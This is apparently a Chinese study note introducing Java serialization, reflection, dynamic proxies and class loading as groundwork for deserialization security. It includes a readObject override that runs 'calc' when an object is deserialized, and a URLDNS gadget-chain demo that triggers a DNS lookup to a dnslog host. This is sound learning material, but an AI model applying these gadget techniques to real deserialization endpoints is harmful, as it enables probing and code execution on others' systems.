Java序列化和反序列化的基础知识
原生方法 - demo
一个实现了Serializable接口的类,可以进行序列化操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package JavaCode.JavaSer.BabyDemo;
import java.io.Serializable;
public class Person implements Serializable {
private String name; private int age;
public Person(){
}
public Person(String name, int age){ this.name = name; this.age = age; }
@Override public String toString(){ return "Person{"+ "name=" + name + "'"+ ", age=" + age + "}"; } }
|
进行序列化的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package JavaCode.JavaSer.BabyDemo;
import utils.Serialization;
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream;
public class SerializationTest{
public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void main(String[] args) throws Exception{ Person person = new Person("aa", 22); System.out.println(person); serialize(person); } }
|
进行反序列化的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package JavaCode.JavaSer.BabyDemo;
import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream;
public class UnserializationTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); return ois.readObject(); }
public static void main(String[] args) throws Exception{ Person person = (Person) unserialize("ser.bin"); System.out.println(person); }
}
|
- 流对象:
实现Serializable接口的子类也可以被序列化
静态成员变量是不能被序列化的,序列化是针对对象属性的,而静态成员变量是属于类的
transient标识的对象成员变量不参与序列化
重写方法 - demo
重写方法指的是重写writeObject
和readObject
方法
重写是为了对于某些特定需求进行定制化的序列化和反序列化
比如你可以只实现一些属性的序列化
此处便有安全问题:当服务端进行反序列化数据时,客户端传递类的readObject方法中的代码会被执行
场景:
1 2 3 4 5 6 7 8 9 10 11 12
| public class Person implements Serializable { private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException{ objectInputStream.defaultReadObject();
Runtime.getRuntime().exec("calc"); } }
|
Java反射和URLDNS链
Java反射机制
反射让java具有动态性
此处主要从几个方面来学习Java反射
- 从原型class里面实例化对象
- 获取类内的属性
- 获取、调用类里面的方法
在Java反序列化中的应用:
- 使用反射修改属性,可以获取定制化的类对象
- 通过invoke调用除了同名函数以外的函数
- 通过Class类创建对象,引入不能序列化的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| package JavaCode.JavaSer.BabyDemo;
import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method;
public class ReflectionTest {
public static void main(String[] args) throws Exception{ Person person = new Person();
Class c = person.getClass();
c.newInstance(); Constructor personConstructor = c.getConstructor(String.class, int.class); Person p = (Person) personConstructor.newInstance("abc", 22);
Field[] personFields = c.getFields(); Field[] personDeclaredFields = c.getDeclaredFields(); System.out.println("getFields function:"); for(Field f:personFields){ System.out.println(f); }
System.out.println("getDeclaredFields function:"); for(Field fd:personDeclaredFields){ System.out.println(fd); }
Field nameField = c.getDeclaredField("age"); nameField.setAccessible(true); nameField.set(p,25); System.out.println(p);
Method[] personMethods = c.getMethods(); for(Method m: personMethods){ System.out.println(m); } Method actionMethod = c.getMethod("action", String.class); actionMethod.invoke(p,"action"); }
}
|
URLDNS链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| package JavaCode.JavaSer.BabyDemo;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class URLDNS_demo {
public static void unser(String filename) throws IOException, ClassNotFoundException { ObjectInputStream obs = new ObjectInputStream(new FileInputStream(filename)); obs.readObject(); }
public static void ser(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void main(String[] args) throws Exception{ HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>(); URL url = new URL("http://0gwgvs.dnslog.cn"); Class c = url.getClass();
Field field = c.getDeclaredField("hashCode");
field.setAccessible(true); field.set(url, 1234); hashMap.put(url, 123);
field.set(url, -1);
ser(hashMap); unser("ser.bin"); } }
|
JDK动态代理
代理
比如Subject是一个抽象类或者接口,RealSubject是实现方法类,是具体的业务逻辑,Proxy则是RealSubject的代理,与客户端直接接触
代理模式是java设计模式中的一条,指在不修改被代理对象的基础上,通过扩展代理类,进行一些功能的附加与增强
代理类和被代理类应该共同实现一个接口,或者共同继承某个类
静态代理
定义接口
1 2 3 4 5 6 7 8 9 10 11 12
| package JavaCode.JavaProxy;
public interface IUser { void show();
void update();
void create(); }
|
代理类,需要实现IUser
接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package JavaCode.JavaProxy;
public class UserProxy implements IUser{
public IUser user;
public UserProxy(IUser user) { this.user = user; }
@Override public void show() { System.out.println("proxy show"); }
@Override public void update(){ System.out.println("proxy update"); }
@Override public void create(){ System.out.println("proxy create"); } }
|
在main中进行使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package JavaCode.JavaProxy;
import Fastjson.User;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy;
public class ProxyTest {
public static void main(String[] args){ UserImpl user = new UserImpl(); user.show(); IUser userProxy = new UserProxy(user); userProxy.show(); } }
|
动态代理 => 从JDK底层实现
静态代理都需要为对应的类实现一个代理类,随着程序规模增大,这这种方法显得臃肿
因此JDK在底层实现了一套动态代理的机制
主要是Proxy.newProxyInstance()
这个函数方法
这个是函数原型:
1 2 3
| public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
|
我们的业务逻辑主要在InvocationHandler的具体实现中
需要重写invoke方法,当调用代理类实例的方法时,会调用invoke方法
示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| package JavaCode.JavaProxy;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.util.Objects;
public class UserInvocationHandler implements InvocationHandler {
IUser user;
public UserInvocationHandler(){ IUser iUser; }
public UserInvocationHandler(IUser iUser){ this.user = iUser; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println(method.toString()); if(method.toString().contains("show")){ System.out.println("This is invoke method when proxy the show method"); }else if(method.toString().contains("update")){ System.out.println("This is invoke method when proxy the update method"); } method.invoke(this.user, args);
return null; } }
|
在main中进行调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package JavaCode.JavaProxy;
import Fastjson.User;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy;
public class ProxyTest {
public static void main(String[] args){ UserImpl user = new UserImpl(); InvocationHandler userinvocationHandler = new UserInvocationHandler(user); IUser proxy_users = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userinvocationHandler); proxy_users.show(); }
}
|
在java安全的应用:
readObject => 反序列化时会自动调用
invoke => 动态代理时会自动调用重写或原生的invoke函数,从而能够拼接链子
类的动态加载
Note:Java中的抽象类不能进行实例化,只能用来被继承
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package JavaCode.JavaSer.BabyDemo;
import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; import java.net.URL; import java.util.HashMap; import java.util.Map;
public class Person implements Serializable {
private String name; private int age;
public static int id;
static { System.out.println("静态代码块"); }
public static void staticAction(){ System.out.println("静态方法"); }
{ System.out.println("构造代码块"); }
public Person(){ System.out.println("无参Person"); }
public Person(String name, int age){ this.name = name; this.age = age; System.out.println("有参Person"); }
@Override public String toString(){ return "Person{"+ "name='" + name + "'"+ ", age=" + age + "}"; }
private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException{ objectInputStream.defaultReadObject();
Runtime.getRuntime().exec("calc"); } }
|
在初始化的时候会调用静态方法
在实例化的时候会调用构造方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package JavaCode.JavaSer.BabyDemo;
public class LoadClassTest {
public static void main(String[] args) throws Exception{
ClassLoader cl = ClassLoader.getSystemClassLoader(); Class<?> c = Class.forName("JavaCode.JavaSer.BabyDemo.Person", false, cl); c.newInstance();
} }
|
类的生命周期
双亲委派机制
参考我之前的博客:https://www.cnblogs.com/icfh/p/18048130
当类进行加载时,需要进入到对应的类加载器,否则可能引起安全问题。所以双亲委派机制主要用于解决类错乱加载的问题,总结来说就是优先考虑上层的类加载器:
- 类加载器收到类加载的请求
- 将这个请求向上委托给父类加载器去完成,一直向上委托,知道启动类加载
- 启动加载器检查是否能够加载当前这个类,能加载就结束,使用当前的加载器,否则,抛出异常,此时子加载器进行加载
- 重复步骤3
具体的代码实现在loadClass
函数中